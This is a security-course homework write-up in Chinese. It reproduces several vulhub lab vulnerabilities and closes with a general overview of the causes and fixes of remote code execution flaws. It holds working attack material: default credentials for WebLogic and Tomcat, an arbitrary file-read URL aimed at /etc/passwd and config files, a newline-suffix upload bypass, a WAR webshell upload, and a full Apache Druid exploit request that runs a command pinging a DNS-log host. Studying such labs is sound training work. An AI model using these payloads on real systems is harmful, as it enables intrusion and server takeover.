day8作业:
1. 在vps安装docker和docker-compose
2. 上课涉及的vulhub中的漏洞(weblogic 弱口令/任意文件读取 、apache 换行解析/druid RCE 、tomcat 弱口令/后台文件上传getshell)全部复现,同时说明漏洞成因
3. 总结RCE漏洞的原理和利用条件及解决方案
1.docker、docker-compose
2.vulhub
weblogic 弱口令/任意文件读取
弱口令
环境搭建
使用常用弱口令 weblogic:Oracle@123 进入后台
任意文件读取
我们访问这个IP地址,http://192.168.127.143:7001/hello/file.jsp?path=/etc/passwd,输入这个url后,浏览器会自动下载一个file.htm文件
file.htm
上述步骤说明http://192.168.127.143:7001/hello/file.jsp?path=这个URL路径存在任意文件读取漏洞
weblogic密码使用AES(老版本3DES)加密,对称加密可解密,只需要找到用户的密文与加密时的密钥即可。这两个文件均位于base_domain下,名为SerializedSystemIni.dat和config.xml,在本环境中为./security/SerializedSystemIni.dat和./config/config.xml(基于当前目录/root/Oracle/Middleware/user_projects/domains/base_domain)
保存密钥
抓包,读取./config/config.xml,此文件为全局配置文件,找到其中的<node-manager-password-encrypted>值即为加密后的管理员密码
使用weblogic解密工具解密
漏洞成因:
弱口令:使用默认密码,过于简单
任意文件读取:没有合理的控制访问权限
apache 换行解析/druid RCE
换行解析
搭建环境
上传木马文件显示bad file,抓包查看
在文件名后面添加值0A
这次没有显示bad file
使用蚁剑连接
druid RCE
环境搭建
使用请求包为以下内容(修改.exec(‘ping -c 4 xxxx.dnslog.cn’)})的内容可执行不同命令)
POST /druid/indexer/v1/sampler HTTP/1.1
Host: 192.168.191.128:8888
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.16; rv:85.0) Gecko/20100101 Firefox/85.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/json
Content-Length: 998
Connection: close
{"type": "index", "spec": {"ioConfig": {"type": "index", "inputSource": {"type": "inline", "data": "{\"isRobot\":true,\"channel\":\"#x\",\"timestamp\":\"2021-2-1T14:12:24.050Z\",\"flags\":\"x\",\"isUnpatrolled\":false,\"page\":\"1\",\"diffUrl\":\"https://xxx.com\",\"added\":1,\"comment\":\"Botskapande Indonesien omdirigering\",\"commentLength\":35,\"isNew\":true,\"isMinor\":false,\"delta\":31,\"isAnonymous\":true,\"user\":\"Lsjbot\",\"deltaBucket\":0,\"deleted\":0,\"namespace\":\"Main\"}"}, "inputFormat": {"type": "json", "keepNullColumns": true}}, "dataSchema": {"dataSource": "sample", "timestampSpec": {"column": "timestamp", "format": "iso"}, "dimensionsSpec": {}, "transformSpec": {"transforms": [], "filter": {"type": "javascript", "dimension": "added", "function": "function(value) {java.lang.Runtime.getRuntime().exec('ping -c 4 xxxx.dnslog.cn')}", "": {"enabled": true}}}}, "type": "index", "tuningConfig": {"type": "index"}}, "samplerConfig": {"numRows": 500, "timeoutMs": 15000}}
漏洞成因:
换行解析:该程序是采用黑名单的形式,如果文件后缀名不在名单内即可上传,所以 a.php\x0A
不在黑名单列表中,可以上传。但是x0A
是换行符,所以apache会直接忽略,将其当成php来执行。
druid RCE:在Druid 0.20.0及更低版本中,经过身份验证的用户发送恶意请求,利用Apache Druid漏洞可以执行任意代码。攻击者可直接构造恶意请求执行任意代码,控制服务器。
tomcat 弱口令/后台文件上传getshell
弱口令
环境搭建
使用常用弱口令 tomcat:tomcat 登录成功
后台文件上传getshell
jsp一句话木马
使用jar cvf test.war test.jsp打包
上传test.war
使用蚁剑连接
漏洞成因:
弱口令:使用默认密码,过于简单
后台文件上传getshell:在部署war包后tomcat默认会将war包中的项目部署,没有过滤
3.RCE
漏洞概述
RCE(Remote Code Execution)漏洞是指攻击者能够在受害者的系统上执行任意代码的漏洞。它是网络安全中非常严重的一种漏洞,因为它允许攻击者在远程系统上执行恶意代码,从而可能完全控制该系统。
原理
RCE漏洞的核心原理是允许攻击者在目标系统上执行未经授权的代码。这种漏洞通常存在于应用程序中,其原因可能包括:
输入验证不足:应用程序未能对用户输入进行充分验证和清理,导致恶意输入能够被执行。
代码注入:攻击者能够将恶意代码注入到应用程序的执行环境中。例如,SQL注入、命令注入等。
不安全的反射机制:某些应用程序允许动态执行代码,攻击者可以利用此机制执行恶意代码。
不安全的配置:应用程序或其组件配置不当,允许远程执行代码。
利用条件
RCE漏洞的利用通常依赖于以下条件:
暴露的入口点:应用程序具有暴露给外部用户的接口或入口点,例如Web表单、API端点等。
执行环境:系统必须能够执行用户提供的代码,这可能涉及到应用程序的动态执行功能,如脚本引擎或反射机制。
权限:攻击者需要一定的权限,通常是对应用程序的访问权限,但有时可能不需要过高的权限。
漏洞特征:存在特定的漏洞特征,如未处理的输入、过度信任的反射机制等。
解决方案
要解决RCE漏洞,可以采取以下措施:
输入验证和消毒:
对所有用户输入进行严格的验证和清理,防止恶意数据通过输入接口注入到系统中。
使用白名单而不是黑名单来过滤用户输入。
最小权限原则:
确保应用程序以最小权限运行,只允许其执行必要的操作,限制其访问权限。
避免动态代码执行:
尽量避免在应用程序中使用动态代码执行功能,例如`eval`、`exec`等函数。
使用安全的编程实践,避免代码注入的风险。
安全配置:
确保应用程序和系统的配置安全,包括关闭不必要的功能和服务,及时更新系统和软件。
对配置文件和系统设置进行安全审查,确保其不暴露敏感信息或允许远程代码执行。
漏洞扫描和测试:
定期进行安全扫描和漏洞测试,以识别和修复潜在的RCE漏洞。
使用自动化工具和手动测试相结合的方法,发现隐藏的漏洞。
补丁和更新:
及时应用安全补丁和更新,修复已知的漏洞。
关注相关软件和库的安全公告,及时采取措施。